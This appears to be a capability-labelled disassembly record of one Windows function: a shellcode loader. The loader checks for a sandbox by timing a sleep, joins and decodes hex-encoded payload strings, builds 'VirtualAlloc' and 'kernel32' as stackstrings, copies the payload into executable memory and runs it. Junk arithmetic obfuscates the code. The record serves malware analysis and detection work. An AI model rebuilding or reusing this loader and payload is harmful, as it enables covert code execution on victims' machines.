Function at 0x140001905
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x620
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x5c0], ecx
mov qword [rbp + 0x5c8], rdx
call dbg.__main
call sym.clock
mov dword [rbp + 0x59c], eax
mov eax, dword [0x14001a018]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov ecx, 0xcb
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp + 0x598], eax
mov ecx, 0x700
call sym.malloc
mov qword [rbp + 0x590], rax
mov eax, dword [rbp + 0x598]
sub eax, dword [rbp + 0x59c]
cmp eax, 0xca
jle 0x140002429
mov eax, dword [rbp + 0x598]
sub eax, dword [rbp + 0x59c]
cmp eax, 0x12e
jg 0x140002429
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rcx, str.ivKMSYYvS
call sym.printf
lea rax, str.95646ed014a0245246b45d446f83
mov qword [rbp + 0x588], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.c0fb76a8c733633604f92bbb7e92fd27ab54827e30112008c12d100088910cc304c918c09f9e1a
mov qword [rbp + 0x580], rax
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.2da68231b828bf89d150c1ffdb4cef2812a1e4e05b791b0b6f241c642a386f
mov qword [rbp + 0x578], rax
mov eax, dword [0x14001a018]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.dc32ce553b3ceacd939f5218a87899400538e2944545037e5060044c8c444441045e4ef6644d3
mov qword [rbp + 0x570], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.37b00558503d4f4c8080f
mov qword [rbp + 0x568], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
lea rax, str.f027b81909a08632262563232657e95316b4313e514b4b3ff5b8795e9
mov qword [rbp + 0x560], rax
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.f9b540bae84fc8cdc923001b82fcc128680b4fb111cb9018e312fe51c11a914a19990e5f1f95f402f71cb2bf38
mov qword [rbp + 0x558], rax
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
lea rax, str.6525a40c00ee0e0e049ef06beca9398a1fc8069865302d49906001499093
mov qword [rbp + 0x550], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
lea rax, str.5570f838f05887ba0c4488488f33cf2804d55851f67f73cba40645cc02454f5d880a24759b77fec366232642625246
mov qword [rbp + 0x548], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.6c19a313d586ce97f790d2e30a30cc042ff01458f048c855f337c008bb70211c1080b84815441b0
mov qword [rbp + 0x540], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
lea rax, str.1982bf949780171011b11258a8f2f5f08f963344b8e5ab70f82db454479104cd1eb5f89f0957cda64e94f31c6
mov qword [rbp + 0x538], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
lea rax, str.ea4ef0003810180380d6564054584c205378854484c704d84454f8f6082444fc05b
mov qword [rbp + 0x530], rax
mov eax, dword [0x14001a018]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
lea rax, str.e4345808f5f90ee5c974333a4100642665363735470bdfa6c9e4422766b71
mov qword [rbp + 0x528], rax
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.6bc79c1d9ea0cbd400e440b47c50f325802528a1c1128b50068990880410aaf8f70c69d0f901a58d0b9a9f2bdfb0178bab
mov qword [rbp + 0x520], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
lea rax, str.580e1a01d13930f02f404
mov qword [rbp + 0x518], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
lea rax, str.a13df0b1b926a27627d636301ee0cf79150005380a54180f1e480561443244418cd254c0e4564
mov qword [rbp + 0x510], rax
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
lea rax, str.8d45e457440c35d8445d348
mov qword [rbp + 0x508], rax
mov dword [0x14001a010], 0
lea rax, str.ec6df470cd0665ad976a9bd54666643726242604a6cd9cd3a40d3bbc06227077f86321440
mov qword [rbp + 0x500], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.00f5821db050f333381280a80d8b82010381d85868b1110ade16711158d
mov qword [rbp + 0x4f8], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.17f184a60af181f30154b8bbf416a5dfcf49e74942b8d9f4e92a
mov qword [rbp + 0x4f0], rax
mov dword [0x14001a010], 0
lea rax, str.ff00f6daf4472c068ebe916a08000f3
mov qword [rbp + 0x4e8], rax
mov eax, dword [0x14001a018]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
lea rax, str.902f6880fe12ec5d4244408807704e
mov qword [rbp + 0x4e0], rax
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.03433d440054556b5ef3c4e4
mov qword [rbp + 0x4d8], rax
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
lea rax, str.358fdd5b454
mov qword [rbp + 0x4d0], rax
mov eax, dword [0x14001a014]
add eax, eax
mov dword [0x14001a014], eax
lea rax, str.fb10fe03e5df5ca34117276674275673320fd1449abcf4419d11775cb07415f66f03040d5d09f644032314861
mov qword [rbp + 0x4c8], rax
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
lea rax, str.82d919b0b548901d11951c488989a969f890ba119629218390a6089190f4da6cf
mov qword [rbp + 0x4c0], rax
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
lea rax, str.c2732acd1583e4e74e9595aabb
mov qword [rbp + 0x4b8], rax
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.6027d112890af20bb2ae04b041a1053a86267801220fe43853ccc5207640dd40cd7808445450
mov qword [rbp + 0x4b0], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
lea rax, str.448d44575c49c48548ccc2004e0703bb987e606676676232466233218b818e7975cfebe0d7b85073bfbfe94cbb449
mov qword [rbp + 0x4a8], rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
lea rax, str.4b8e8000333008b112271611b811095139f9237d042aa7de590005e2978ff963d983dcad99819b598
mov qword [rbp + 0x4a0], rax
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x93
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov word [rdx], ax
add rdx, 2
mov byte [rdx], al
add rdx, 1
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcpy
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a018]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a018]
add eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a018]
add eax, eax
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a010]
mov edx, dword [0x14001a014]
sub eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x14001a010], 0
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a018]
add eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov dword [0x14001a018], 0
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a010]
add eax, eax
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a010]
sub eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a018]
add eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a018]
add eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
add eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a014]
mov eax, dword [0x14001a010]
imul eax, edx
mov dword [0x14001a010], eax
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a018]
mov eax, dword [0x14001a014]
imul eax, edx
mov dword [0x14001a014], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x590]
mov rcx, rax
call sym.strcat
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a018]
imul eax, edx
mov dword [0x14001a018], eax
mov rax, qword [rbp + 0x590]
lea rdx, [0x14001b77a]
mov rcx, rax
call sym.GLyT
mov qword [rbp + 0x498], rax
mov rdx, qword [rbp + 0x498]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.YTynTp
mov byte [rbp - 0x4d], 0x56
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x72
mov byte [rbp - 0x4a], 0x74
mov byte [rbp - 0x49], 0x75
mov byte [rbp - 0x48], 0x61
mov byte [rbp - 0x47], 0x6c
mov byte [rbp - 0x46], 0x41
mov byte [rbp - 0x45], 0x6c
mov byte [rbp - 0x44], 0x6c
mov byte [rbp - 0x43], 0x6f
mov byte [rbp - 0x42], 0x63
mov byte [rbp - 0x41], 0
lea rax, [rbp - 0x4d]
mov qword [rbp + 0x490], rax
mov byte [rbp - 0x56], 0x6b
mov byte [rbp - 0x55], 0x65
mov byte [rbp - 0x54], 0x72
mov byte [rbp - 0x53], 0x6e
mov byte [rbp - 0x52], 0x65
mov byte [rbp - 0x51], 0x6c
mov byte [rbp - 0x50], 0x33
mov byte [rbp - 0x4f], 0x32
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x56]
mov qword [rbp + 0x488], rax
mov rax, qword [rbp + 0x488]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x490]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x480], rax
mov rax, qword [rbp + 0x480]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x4ab
mov ecx, 0
call rax
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x478]
mov rdx, rax
lea rax, [rbp - 0x40]
mov ecx, 0x4ab
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x478]
call rax
mov edx, dword [0x14001a010]
mov eax, dword [0x14001a014]
add edx, eax
mov eax, dword [0x14001a018]
add edx, eax
mov eax, dword [0x14001a01c]
add eax, edx
mov edx, eax
lea rcx, [0x14001b77d]
call sym.printf
jmp 0x14000244a
mov eax, dword [0x14001a014]
mov edx, dword [0x14001a018]
sub eax, edx
mov dword [0x14001a018], eax
lea rcx, str.ivKMSYYvS
call sym.printf
nop
add rsp, 0x620
pop rsi
pop rdi
pop rbp
ret